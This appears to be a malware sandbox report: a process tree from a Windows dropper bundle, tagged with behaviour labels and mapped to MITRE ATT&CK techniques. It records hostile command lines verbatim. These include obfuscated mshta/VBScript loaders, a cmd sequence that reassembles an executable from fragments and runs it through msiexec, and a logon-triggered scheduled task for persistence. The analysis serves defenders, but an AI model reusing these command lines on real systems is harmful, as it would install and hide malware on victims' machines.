        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad14718
        9⤵
        
        PID:8628
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=1851483
        8⤵
        
        PID:8444
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd3ad146f8,0x7ffd3ad14708,0x7ffd3ad14718
        9⤵
        
        PID:7524
        
        C:\Users\Admin\AppData\Local\Temp\d3-6a6e1-c28-a3b8e-09bf276448129\Garypaebaewa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\d3-6a6e1-c28-a3b8e-09bf276448129\Garypaebaewa.exe"
        7⤵
        
        PID:8116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exe /eufive & exit
        8⤵
        
        PID:4112
        
        C:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\3lr3efsx.vuo\GcleanerEU.exe /eufive
        9⤵
        
        PID:7960
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7960 -s 236
        10⤵
        Program crash
        
        PID:7280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe /qn CAMPAIGN="654" & exit
        8⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe /qn CAMPAIGN="654"
        9⤵
        
        PID:6356
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\oeqijqbl.jwn\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636128741 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        10⤵
        
        PID:5964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe & exit
        8⤵
        
        PID:6660
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:5648
        
        C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe
        9⤵
        
        PID:7868
        
        C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3o154i3l.dza\any.exe" -u
        10⤵
        
        PID:1288
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exe /mixfive & exit
        8⤵
        
        PID:8088
        
        C:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\pqt453tk.zy1\gcleaner.exe /mixfive
        9⤵
        
        PID:5032
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 236
        10⤵
        Program crash
        
        PID:8636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w0ncukqt.xd5\autosubplayer.exe /S & exit
        8⤵
        
        PID:7980
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        
        PID:3120
        
        C:\Program Files\Windows NT\VKGIWHDDEP\foldershare.exe
        
        "C:\Program Files\Windows NT\VKGIWHDDEP\foldershare.exe" /VERYSILENT
        7⤵
        
        PID:4536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5624
- C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe
  "C:\Users\Admin\Pictures\Adobe Films\MPBInnvNQNGFqEA27CwasfoV.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:5900

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue2095db5b6bd7.exe
Tue2095db5b6bd7.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4408
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4408 -s 1688
  2⤵
  - Program crash
  PID:5432

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If """"== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
1⤵
PID:3812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20adee3c26d.exe") do taskkill /IM "%~nXY" -f
  2⤵
  PID:5136
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /IM "Tue20adee3c26d.exe" -f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5792
- - C:\Users\Admin\AppData\Local\Temp\_4SO.EXE
    ..\_4SO.Exe /PZOIMJIYi~u3pALhs
    3⤵
    PID:5744
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT( "WSCRIPt.SHELL" ).RUn( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 ,tRue ) )
      4⤵
      PID:5612
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D&COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un+3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *
        5⤵
        
        PID:5068
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ecHo "
        6⤵
        
        PID:2976
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"
        6⤵
        
        PID:4528
      - C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -y ..\WOYVBnm.9
        6⤵
        Loads dropped DLL
        
        PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7ac977de-d992-47d3-a006-f3497bc2b882\test.bat"
  2⤵
  PID:6448

C:\Users\Admin\AppData\Local\Temp\is-4E2H5.tmp\Tue201d50e7015.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4E2H5.tmp\Tue201d50e7015.tmp" /SL5="$501EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe" /SILENT
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2244 -ip 2244
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3984

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20d8f1968de62f282.exe
Tue20d8f1968de62f282.exe
1⤵
- Executes dropped EXE
PID:416

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe
"C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue201d50e7015.exe" /SILENT
1⤵
- Executes dropped EXE
PID:4668

C:\Users\Admin\AppData\Local\Temp\7zS46BAFE55\Tue20abd30733a17.exe
Tue20abd30733a17.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3244

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv LIhayognIkSc4otQrt/dsQ.0.2
1⤵
PID:5556

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5776
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:5816
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 448
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:6052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5816 -ip 5816
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5948

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ("WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"") do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
1⤵
PID:5932
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE &&sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE") do taskkill /IM "%~nXY" -f
  2⤵
  PID:6060

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2524 -ip 2524
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4408 -ip 4408
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3520 -ip 3520
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:3180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 5408 -ip 5408
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 3964 -ip 3964
1⤵
PID:3716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 548 -ip 548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1940 -ip 1940
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4108 -ip 4108
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SetThreadContext
PID:2068

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 336
1⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6792

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 3444 -ip 3444
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 2496 -ip 2496
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 5760 -ip 5760
1⤵
PID:3912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5476 -ip 5476
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3440

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 2708 -ip 2708
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 6736 -ip 6736
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 5808 -ip 5808
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 5764 -ip 5764
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1480 -ip 1480
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 4544 -ip 4544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 5960 -ip 5960
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 880 -p 4776 -ip 4776
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6528 -ip 6528
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:5432

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7272
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7360
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 7360 -s 448
    3⤵
    - Program crash
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:7848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 7360 -ip 7360
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7608

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 6192 -ip 6192
1⤵
PID:7940

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 6368 -ip 6368
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5040 -ip 5040
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1404

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 612 -p 7440 -ip 7440
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 7156 -ip 7156
1⤵
PID:7316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 5784 -ip 5784
1⤵
PID:7604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5796 -ip 5796
1⤵
PID:8180

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 9fb7d2f869756f2fe0778bf9a9dd963b e3me3SC8MUaCRw6Z1M95tw.0.1.0.3.0
1⤵
PID:6644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3064 -ip 3064
1⤵
PID:2356

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
PID:3064
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3064 -s 212
  2⤵
  - Program crash
  PID:4552

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1900 -ip 1900
1⤵
PID:7852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2296 -ip 2296
1⤵
PID:2800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 768 -p 6056 -ip 6056
1⤵
PID:1360

C:\Windows\system32\compattelrunner.exe
C:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
1⤵
PID:6904

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:6528

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:6736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 2792 -ip 2792
1⤵
PID:5440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:7252

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 2792 -ip 2792
1⤵
PID:5744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 7316 -ip 7316
1⤵
PID:4076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:6916

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:7652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:7924

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8376
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 530F691FE5810F351D39272640E46ABA C
  2⤵
  PID:8592
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B55BC47748F8B38C5C9FF123A768809E
  2⤵
  PID:6008
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:2824
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DA07958EEB6BB64A25A8228E376DB155 E Global\MSI0000
  2⤵
  PID:5776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 6112 -ip 6112
1⤵
PID:5776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 7960 -ip 7960
1⤵
PID:6592

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:9128
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4948 -s 456
    3⤵
    - Program crash
    PID:8304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 796 -p 4948 -ip 4948
1⤵
PID:6752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:6788

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 5032 -ip 5032
1⤵
PID:5720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 9060 -ip 9060
1⤵
PID:8616

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Impair Defenses

T1562

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery